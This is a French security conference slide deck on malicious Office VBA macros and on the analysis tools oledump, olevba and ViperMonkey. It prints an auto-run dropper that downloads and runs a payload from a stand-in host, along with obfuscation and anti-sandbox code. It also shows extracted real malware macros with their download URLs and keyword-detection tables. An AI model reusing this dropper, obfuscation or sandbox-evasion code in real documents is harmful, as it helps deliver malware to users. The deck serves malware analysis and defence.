Comment bien cuisiner les Macros

SSTIC 2015 – 5 juin

Philippe Lagadec – decalage.info - @decalage2

Disclaimer

le contenu de cette présentation est un travail personnel de son auteur, il ne reflète ni un avis ni une recommandation de son employeur, et il ne représente pas une approbation officielle.

Au menu

- Le retour des macros
- Macros malveillantes
- Obfuscation / Obscurcissement
- Anti-sandboxing
- Formats de fichiers
- Outils : oledump, olevba
- ViperMonkey
- Détection & Protection

- Voir aussi l'article « Macros – Le retour de la revanche » dans MISC 79, qui sera disponible sur http://www.decalage.info après juin

Une histoire de Macros

1995 : Concept	**Office 95** : WordBasic
1996 : Laroux **1999 : Melissa**	**Office 97** : question Activer macros ? Oui/Non avant ouverture
2003 : Lexar => exploite faille Office 97-XP, pas de sécurité !	**Office 2000/XP/2003** : macros non signées désactivées par défaut
2004-2013 : Les macrovirus passent de mode	**Office 2007** : Macros désactivées par défaut, 2 clics pour activer
2014-2015 : Dridex, Rovnix, Vawtrak, Fin4, ...	**Office 2010/2013** : Macros désactivées par défaut, mais bouton « Activer le contenu »... + Sandbox contre les exploits

Que peut faire une macro facétieuse ?

- **Se déclencher** à l'ouverture, fermeture, etc
- Détecter une sandbox
- Lire/modifier le contenu du document
- **Télécharger un fichier**
- **Créer un fichier** :
  - EXE, Script VBS, PowerShell, BAT
- **Exécuter un fichier**, une commande système
- **Appeler une DLL** du système
  - Injecter un shellcode dans un autre process
- **Appeler un objet ActiveX**
- Simuler l'appui de touches clavier
- Etc

=> Tout cela avec des fonctions natives depuis 1997, pas d'exploit !

Exemple de Dropper VBA

```
Private Declare Function URLDownloadToFileA Lib "urlmon" _
(ByVal NRTMLM As Long, ByVal UUQCES As String,  _
ByVal VKDDKH As String, ByVal XXRYIY As Long, _
ByVal RPBFSI As Long) As Long

Sub Workbook_Open()
    Auto_Open
End Sub

Sub Auto_Open()
    Dim riri As Long
    fifi = Environ("TEMP") & "\agent.exe"
    riri = URLDownloadToFileA(0, _
      "http://compromised.com/payload.exe", _
      fifi, 0, 0)
    loulou = Shell(fifi, 1)
End Sub
```

fonction URLDownloadToFileA fournie par URLMON.dll

S'exécute a l'ouverture du document

Fichier exécutable a créer dans %TEMP%

Téléchargement du payload depuis un serveur

Exécution du payload

Obfuscation / Obscurcissement

- **Pour masquer les informations importantes :**
  - URLs où sont stockées les charges utiles à télécharger,
  - adresses IP des serveurs contactés,
  - noms des fichiers créés, etc.

- **Techniques courantes :**
  - découpage et concaténation de chaînes,
  - **Chr, ChrB, Chr$**, etc : transformation d'un code ASCII en caractère
  - **Asc** : l'inverse de Chr
  - **StrReverse** : inversion de chaîne
  - fonctions pour utiliser des chaînes encodées en **Base64, hexadécimal, xor**, etc
  - insertion de **code mort**
  - découpage du code dans plusieurs modules
  - utilisation de noms de variables et fonctions aléatoires
  - stockage de chaînes en dehors du code VBA, dans le document Word ou Excel

Obfuscation / Obscurcissement

```
iKJINJdg = StrReverse(Chr$(115) & Chr$(98) _
& Chr$(118) & Chr$(46) & Chr$(115) _
& Chr$(119) & Chr$(111) & Chr$(100) & Chr$(110) _
& Chr$(105) & Chr$(119) & Chr$(92) & Chr$(37) _
& Chr$(80) & Chr$(77) & Chr$(69) & Chr$(84) & Chr$(37))

ds = 100
PST2 = "a" + "dobe" & "acd-u" & "pdate"
PST1 = PST2 + "." + Chr(Asc("p")) + Chr(ds + 15) + "1"
BART = Chr(Abs(46)) + Chr(Abs(98)) +
Chr(Asc(Chr(Asc("a")))) + Chr(Asc(Chr(ds + 16))) + ""
```

Anti-sandboxing

```
Private Declare Function GetVolumeInformation Lib "kernel32.dll" _
  Alias "GetVolumeInformationA" (...) As Long

Function IsAnubisPresent() As Boolean
    On Error Resume Next
    Set WShell = CreateObject("WScript.Shell")
    If Not GetSerialNumber(Environ("SystemDrive") & "\") = "1824245000" _
    And Not WShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft" & _
        "\Windows NT\CurrentVersion\ProductId") _
        = "76487-337-8429955-22614" Then
        IsAnubisPresent = False
    Else
        IsAnubisPresent = True
    End If
End Function

Public Function GetSerialNumber(DriveLetter As String) As Long
    Buffer1 = String$(255, Chr$(0))
    Buffer2 = String$(255, Chr$(0))
    Res = GetVolumeInformation(DriveLetter, Buffer1, Len(Buffer1), _
        SerialNum, 0, 0, Buffer2, Len(Buffer2))
    GetSerialNumber = SerialNum
End Function

Private Sub Document_Open()
    If IsAnubisPresent Then
        MsgBox ("Anubis Sandbox detected: do nothing")
    Else
        MsgBox ("No Anubis, let's run the malicious payload...")
    End If
End Sub
```

NOTE :
Version corrigée,
Le code « in the wild » est buggé...

Formats MS Office avec macros

Formats	Extensions	Macros	Format Conteneur
Word, Excel, PowerPoint 97-2003	**.doc, .xls, .ppt, .pps**	**Oui**	**OLE**
Word, Excel, PowerPoint 2007+ standard	.docx, .xlsx, .pptx, .ppsx	Non	ZIP
Word, Excel, PowerPoint 2007+ avec macros	**.docm, .xlsm, .xlsb, .pptm, .ppsm**	**Oui**	**ZIP**
Word 2003 XML	**.xml**	**Oui**	**XML**
Excel 2003 XML	.xml	Non	XML
Word/Excel MHTML « single file web page »	**.mht**	**Oui**	**MHTML**

Outils

- OfficeMalScanner
- Officeparser
- Oledump
- Olevba
- ViperMonkey

oledump

- **http://blog.didierstevens.com/programs/oledump-py/**

- extraire les streams d'un document MS Office
- appliquer des fonctions de détection
- identifier streams avec macros
- décompresser le code des macros
- divers plugins :
  - Résumé du code des macros
  - Extraction d'URLs + déobfuscation

oledump - extraction

```
$ ./oledump.py ~/MalwareZoo/VBA/DIAN_caso-5415.doc
  1:       125 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:     28579 '1Table'
  5:    457587 'Data'
  6:       367 'Macros/PROJECT'
  7:        41 'Macros/PROJECTwm'
  8: M    5221 'Macros/VBA/ThisDocument'
  9:      2775 'Macros/VBA/_VBA_PROJECT'
 10:      2196 'Macros/VBA/__SRP_0'
 11:       200 'Macros/VBA/__SRP_1'
 12:      1280 'Macros/VBA/__SRP_2'
 13:       356 'Macros/VBA/__SRP_3'
 14:       514 'Macros/VBA/dir'
 15:     14920 'WordDocument'

$ ./oledump.py ~/MalwareZoo/VBA/DIAN_caso-5415.doc -s 8 -v
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
[...]
Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal FVQGKS As Long, _
ByVal WSGSGY As String, ByVal IFRRFV As String, ByVal NCVOLV As Long, _
ByVal HQTLDG As Long) As Long
Sub AutoOpen()
    Auto_Open
End Sub
Sub Auto_Open()
SNVJYQ
End Sub
Public Sub SNVJYQ()
    OGEXYR "http://germanya.com.ec/logs/test.exe", Environ("TMP") & "\sfjozjero.exe"
End Sub
[...]
```

oledump - plugins

```
$ ./oledump.py ~/MalwareZoo/VBA/DRIDEX_1.doc -p
plugin_vba_summary -q
[...]
Open
StrReverse(podiykbwptwurwktgjtmxbhmqedkhno("736A6A746D
6973646666757875736F72747A766E676A656264737663696577")
) For Binary As #46976
End Function
Sub LEHSCRUYAOP()
'    RYLOPYULCVL
StrReverse(podiykbwptwurwktgjtmxbhmqedkhno("6578652E31
2F736A2F6D6F632E737973766A2F2F3A70747468")),
Environ("TEMP") & "\\ZDDVXCJSDDG.exe"'
End Sub

$ ./oledump.py ~/MalwareZoo/VBA/DRIDEX_1.doc -p
plugin_http_heuristics.py -q
http://jvssys.com/js/1.exe
```

olevba

- **https://bitbucket.org/decalage/oletools/wiki/olevba**

- **parsing complet** de la structure binaire des projets VBA :
  - déterminer l'emplacement des macros compressées
  - extraire certaines **méta-données** (date de modification du projet VBA,page de code employée - par exemple 1251 pour le cyrillique)
- **extraction du code et analyse**
- détection de **mots-clés suspects** typiquement utilisés par les malwares
- détection des macros **auto-exécutables**
- **déobfuscation de chaînes** (Hex, Base64, StrReverse, Dridex, Hex+StrReverse, StrReverse+Hex, ...)
- extraction de divers **indicateurs IOC** (adresses IP, URLs, adresses e-mail, noms de fichiers exécutables)
  - en clair ou chaînes obfusquées
- **mode triage** pour analyser une collection de fichiers

olevba – extraction + analyse

```
$ ./olevba.py ~/MalwareZoo/VBA/DRIDEX_1.doc
[...]
Sub Auto_Open()
GoTo ibrsmldpiphvsvwtvyuuximekdmojyu
Dim ijxwelbngrcwemofxtwsdvvljohusij As String
Open StrReverse(podiykbwptwurwktgjtmxbhmqedkhno("776A67666C61737A6F6A74676965676A7569646F6E6F626F6B67637670776A")) For
Binary As #8624
Put #8624, , ijxwelbngrcwemofxtwsdvvljohusij
Close #8624
[...]
+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| AutoExec   | Auto_Open            | Runs when the Excel Workbook is opened  |
| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
| Suspicious | Kill                 | May delete a file                       |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Environ              | May read system environment variables   |
| Suspicious | Put                  | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | StrReverse           | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | Binary               | May read or write a binary file (if     |
|            |                      | combined with Open)                     |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| IOC        | ZDDVXCJSDDG.exe      | Executable file name                    |
| IOC        | http://jvssys.com/js | URL (obfuscation: Hex+StrReverse)       |
|            | /1.exe               |                                         |
| IOC        | 1.exe                | Executable file name (obfuscation:      |
|            |                      | Hex+StrReverse)                         |
+------------+----------------------+-----------------------------------------+
```

olevba – mode triage

```
$ olevba ~/MalwareZoo/VBA/samples/vba_samples.zip -z infected
Flags       Filename
----------- -----------------------------------------------------------
OLE:MASI--- DIAN_caso-5415.doc.malware
OLE:MASIH-- DRIDEX_1.doc.malware
OLE:MASIH-- DRIDEX_2.doc.malware
OLE:MASI--- DRIDEX_3.doc.malware
OLE:MASIH-- DRIDEX_4.doc.malware
OLE:MASIH-- DRIDEX_5.doc.malware
OLE:MASIH-- DRIDEX_6.doc.malware
OLE:MAS---- DRIDEX_7.doc.malware
OLE:MASIH-- DRIDEX_8.doc.malware
OLE:MASIHBD DRIDEX_9.xls.malware
OLE:MASIH-- DRIDEX_A.doc.malware
OLE:------- Iran's Oil and Nuclear Situation.doc.malware
OLE:------- Normal_Document.doc
OLE:M------ Normal_Document_Macro.doc
OpX:MASI--- RottenKitten.xlsb.malware
OLE:MASI-B- ROVNIX.doc.malware
OpX:------- taidoor.docx.malware
OLE:MA----- Word within Word macro auto.doc
XML:MAS---- word2003_sample1.xml.malware

(Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable,
S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex
strings, ?=Unknown)
```

olevba – API Python

- Comment intégrer olevba dans vos scripts Python :
- Doc :**https://bitbucket.org/decalage/oletools/wiki/olevba**

```
from oletools.olevba import VBA_Parser, VBA_Scanner
import sys

vba = VBA_Parser(sys.argv[1])
if vba.detect_vba_macros():
    print 'VBA Macros found'
    for (filename, stream_path, vba_filename, vba_code) in vba.extract_macros():
        print '-'*79
        print 'Filename    :', filename
        print 'OLE stream  :', stream_path
        print 'VBA filename:', vba_filename
        print '- '*39
        print vba_code
        print '- '*39
        vba_scanner = VBA_Scanner(vba_code)
        results = vba_scanner.scan(include_decoded_strings=True)
        for kw_type, keyword, description in results:
            print 'type=%s - keyword=%s - description=%s' % (kw_type, keyword,
description)
else:
    print 'No VBA Macros found'
vba.close()
```

Services/Projets utilisant olevba

- Hybrid-analysis.com
- Dridex.malwareconfig.com
- Viper
- Malware-crawler / Ragpicker
- Cuckoo-modified (fork de Cuckoo Sandbox)
- REMnux v6

- Peut-être bientôt IRMA, REbus ? ;-)

ViperMonkey

- Constat : impossible de tout déobfusquer avec du code spécifique (oledump, olevba).
- Autres approches :
  - **Sandboxing** (détectable)
  - **Convertir VBA en VBS** => run cscript.exe (risqué)
  - **Parseur dédié + exécution symbolique => ViperMonkey**

ViperMonkey

- **Olevba seul** :
  1. Extraire code
  2. Déobfuscations spécifiques
  3. Détecter chaînes suspectes
  4. Extraire IOCs (regex)

- **ViperMonkey**:
  1. Extraire code
  2. Parseur VBA (grammaire pyparsing)
  3. Modèle logique du code
  4. Tracer le code en simulant VBA
  5. Extraire actions intéressantes et paramètres
  6. Analyse olevba

ViperMonkey – hello world

```
c:\demo>vbatrace.py hello1.vba
Opening VBA file hello1.vba
-------------------------------------------------------------------------------
VBA CODE (with long lines collapsed):
Attribute VB_Name = "Hello"

Sub AutoOpen()
    MsgBox (StrReverse(chr(asc("o")) & "lleH") + ", World" + ChrB$(33))
End Sub

-------------------------------------------------------------------------------
PARSING VBA CODE:
Module 'Hello'
  Sub AutoOpen (): 1 statement(s)

-------------------------------------------------------------------------------
TRACING VBA CODE (entrypoint = Auto*):
Sub AutoOpen (): 1 statement(s)
Sub Call: MsgBox('Hello, World!')
```

ViperMonkey – déobfuscation

```
$ curl -s -o sample.vba http://pastebin.com/raw.php?i=iWmiG3Zg
$ python vba_expr.py sample.vba
+-------------------------------------+-------------------------------------+
| Obfuscated expression               | Evaluated value                     |
+-------------------------------------+-------------------------------------+
| 'adobeacd-update.' + 'p' + Chr(115) | 'adobeacd-update.ps1'               |
| + '1'                               |                                     |
| 'adobeacd-update' + '.' + Chr(98) + | 'adobeacd-update.bat'               |
| Chr(Asc(Chr(Asc('a')))) +           |                                     |
| Chr(Asc('t'))                       |                                     |
| 'adobeacd-update.' + Chr(118) + 'b' | 'adobeacd-update.vbs'               |
| + 's'                               |                                     |
| 'adobeacd-updatexp' + '.' + 'v' +   | 'adobeacd-updatexp.vbs'             |
| Chr(Asc('b')) + 's'                 |                                     |
| 'c:\\' + Chr(Asc('U')) + 'sers\\'   | 'c:\\Users\\'                       |
| 'c:\\' + Chr(Asc('U')) + 'sers\\'   | 'c:\\Users\\'                       |
| '\\App' + Chr(Asc('D')) +           | '\\AppData\\Local\\Temp\\'          |
| 'ata\\Local\\' + Chr(Asc('T')) +    |                                     |
| 'emp\\'                             |                                     |
```

ViperMonkey – Tracage et extraction des actions

```
--------------------------------------------------------------------------------
PARSING VBA CODE:
Module 'ThisDocument'
  Sub AutoOpen (): 1 statement(s)
  Sub SNVJYQ (): 1 statement(s)
  Sub Workbook_Open (): 1 statement(s)
  Sub Auto_Open (): 1 statement(s)
  Function OGEXYR ([XSTAHU as String, PHHWIV as String]): 9 statement(s)
  External Function URLDownloadToFileA ([FVQGKS as Long, WSGSGY as String, IFRRF
V as String, NCVOLV as Long, HQTLDG as Long]) from urlmon.dll alias

--------------------------------------------------------------------------------
TRACING VBA CODE (entrypoint = Auto*):
Recorded Actions:
+-----------------+---------------------------+---------------------------+
| Action          | Parameters                | Description               |
+-----------------+---------------------------+---------------------------+
| Download URL    | http://germanya.com.ec/lo | External Function:        |
|                 | gs/test.exe               | urlmon.dll /              |
|                 |                           | URLDownloadToFile         |
| Write File      | %TMP%\sfjozjero.exe       | External Function:        |
|                 |                           | urlmon.dll /              |
|                 |                           | URLDownloadToFile         |
| Execute Command | %TMP%\sfjozjero.exe       | Shell function            |
| Display Message | 'El contenido de este     | MsgBox                    |
|                 | documento no es           |                           |
|                 | compatible con este       |                           |
|                 | equipo.\r\n\r\nPor favor  |                           |
|                 | intente desde otro        |                           |
|                 | equipo.'                  |                           |
| Download URL    | http://germanya.com.ec/lo | External Function:        |
|                 | gs/counter.php            | urlmon.dll /              |
|                 |                           | URLDownloadToFile         |
| Write File      | %TMP%\lkjljlljk           | External Function:        |
|                 |                           | urlmon.dll /              |
|                 |                           | URLDownloadToFile         |
+-----------------+---------------------------+---------------------------+
```

ViperMonkey – la suite

- Implémentation minimale de l'API VBA/Office utilisée par les malwares (en cours)
- DLLs et ActiveX couramment utilisés (en cours)
- Intégration avec olevba
- Extraction d'IOCs
- API Python pour intégration et extension
- Adaptation pour malware VBScript

Détection / Protection

- **Détection de mots-clés suspects style olevba :**
  - **Simple mais très efficace !**
  - **La plupart des macros malicieuses sont facilement détectables.**
- Nettoyage préventif de fichiers entrants (cf. SSTIC04, SSTIC06, CSW08)
- MS Office pourrait distinguer les macros avec fonctions dangereuses
  - Comme l'API JavaScript d'Adobe Reader

Liens utiles

- **Articles :**
  - « Macros – Le retour de la revanche » dans MISC 79 (mai-juin 2015), qui sera disponible sur http://decalage.info après juin
  - « Tools to extract VBA Macro source code from MS Office Documents »
- **Oletools : olevba, ViperMonkey**
  - http://www.decalage.info/python/oletools
  - https://bitbucket.org/decalage/oletools/wiki/olevba
  - https://twitter.com/decalage2
- **Oledump :**
  - http://blog.didierstevens.com/programs/oledump-py/
  - https://bitbucket.org/decalage/oledump-contrib
- **Spécifications Microsoft :**
  - MS-VBAL, MS-OVBA